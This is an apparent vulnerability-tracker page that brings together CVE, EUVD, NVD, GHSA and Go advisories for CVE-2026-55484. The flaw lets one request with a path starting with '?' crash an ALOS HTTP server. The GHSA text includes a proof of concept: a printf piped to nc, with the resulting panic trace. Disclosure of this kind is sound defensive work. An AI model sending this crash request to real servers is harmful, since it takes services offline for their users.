alos-http · Vulnerability
cve-program · CVE-2026-55484
PublishedALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.
Read the publisher's advisoryeuvd · EUVD-2026-67872
PublishedALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.
Read the publisher's advisorynvd · CVE-2026-55484
PublishedALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.
Read the publisher's advisoryosv · GHSA-hr6j-w4mw-g9mj
Published### Summary A single unauthenticated HTTP request to a path starting with `?` (e.g. `GET ? HTTP/1.1`) crashes the entire server process. The request line parser passes the path to `sanitizeRequestPath` which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so `core.Recovery()` does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if `ListenAndServeQUIC` is enabled ### Details **root cause**: `core/utils.go::sanitizeRequestPath` ```go // assume path := "?" if len(path) == 0 { // len(path) == 1 return "/" } p, _ := splitPathQuery(path) // p == "" if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range return p } ``` * when the path starts with "?" len(path) is not 0 so the early return does not fire * after `splitPathQuery` `p` is empty `""` * `p` is then indexed `p[0]` without a length check Relevant calling sites: * `h1_plain.go:ParseH1RequestHead` (HTTP/1.1) * `h1.go::ParseH1Request` (dead code) * `hpack.go::decodeSimpleGetPathHTTPSRequest` (HTTP/2) * `hpack.go::observeHeader` (HTTP/2) * `h3_conn.go::handleRequestStream` (HTTP/3) these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic ### PoC Minimal server, using [the quick-start](https://github.com/guno1928/alos-http#quick-start) ```go srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true}) srv.Router.Use(core.Recovery()) // is unable to catch a parser panic srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") }) log.Fatal(srv.ListenAndServe()) ``` Crash it with a single request ```bash printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080 ``` Server output & crash ```log 2026/06/11 20:52:52 listening on http://localhost:8080 2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false 2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576) 2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) === 2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s)) 2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600 panic: runtime error: index out of range [0] with length 0 goroutine 34 [running]: github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1}) /home/baloo/alos-http/core/utils.go:566 +0x64a github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098) /home/baloo/alos-http/core/h1_plain.go:474 +0x48c github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365 github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25 github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185 github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1() /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69 created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1 /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a exit status 2 ``` all subsequent requests now fail, since the server is down ### Impact Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)
Read the publisher's advisoryosv · GO-2026-6321
Publishedalos-http has unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server in github.com/guno1928/alos-http
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
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cve-program · CVE-2026-55484
PublishedALOS HTTP: Unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server
ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.
- Source published
- 28 Aug 2026 19:19:19 UTC
- Source modified
- 28 Aug 2026 20:00:26 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
euvd · EUVD-2026-67872
PublishedALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with …
ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 28, 2026, 7:19:19 PM
dateUpdated: Aug 28, 2026, 8:00:26 PM
- Source published
- Aug 28, 2026, 7:19:19 PM (timezone not stated)
- Source modified
- Aug 28, 2026, 8:00:26 PM (timezone not stated)
- Saved here
- 17 Nov 2026 16:35:24 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
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EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
nvd · CVE-2026-55484
PublishedALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with …
ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-248 · CWE-754
Original publisher date fields
published: 2026-08-28T20:18:27.513
lastModified: 2026-09-09T21:09:13.080
- Source published
- 28 Aug 2026 20:18:27 UTC
- Source modified
- 9 Sep 2026 21:09:13 UTC
- Saved here
- 25 Oct 2026 13:17:34 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
osv · GHSA-hr6j-w4mw-g9mj
Publishedalos-http has unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server
### Summary A single unauthenticated HTTP request to a path starting with `?` (e.g. `GET ? HTTP/1.1`) crashes the entire server process. The request line parser passes the path to `sanitizeRequestPath` which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so `core.Recovery()` does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if `ListenAndServeQUIC` is enabled ### Details **root cause**: `core/utils.go::sanitizeRequestPath` ```go // assume path := "?" if len(path) == 0 { // len(path) == 1 return "/" } p, _ := splitPathQuery(path) // p == "" if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range return p } ``` * when the path starts with "?" len(path) is not 0 so the early return does not fire * after `splitPathQuery` `p` is empty `""` * `p` is then indexed `p[0]` without a length check Relevant calling sites: * `h1_plain.go:ParseH1RequestHead` (HTTP/1.1) * `h1.go::ParseH1Request` (dead code) * `hpack.go::decodeSimpleGetPathHTTPSRequest` (HTTP/2) * `hpack.go::observeHeader` (HTTP/2) * `h3_conn.go::handleRequestStream` (HTTP/3) these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic ### PoC Minimal server, using [the quick-start](https://github.com/guno1928/alos-http#quick-start) ```go srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true}) srv.Router.Use(core.Recovery()) // is unable to catch a parser panic srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") }) log.Fatal(srv.ListenAndServe()) ``` Crash it with a single request ```bash printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080 ``` Server output & crash ```log 2026/06/11 20:52:52 listening on http://localhost:8080 2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false 2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576) 2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) === 2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s)) 2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600 panic: runtime error: index out of range [0] with length 0 goroutine 34 [running]: github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1}) /home/baloo/alos-http/core/utils.go:566 +0x64a github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098) /home/baloo/alos-http/core/h1_plain.go:474 +0x48c github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365 github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25 github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185 github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1() /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69 created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1 /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a exit status 2 ``` all subsequent requests now fail, since the server is down ### Impact Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)
- Source published
- 28 Aug 2026 19:19:38 UTC
- Source modified
- 2 Sep 2026 19:55:34 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Publisher rating · HIGH
osv · GO-2026-6321
Publishedalos-http has unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server in github.com/guno1928/alos-http
alos-http has unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server in github.com/guno1928/alos-http
- Source published
- 2 Sep 2026 18:37:27 UTC
- Source modified
- 2 Sep 2026 19:45:13 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.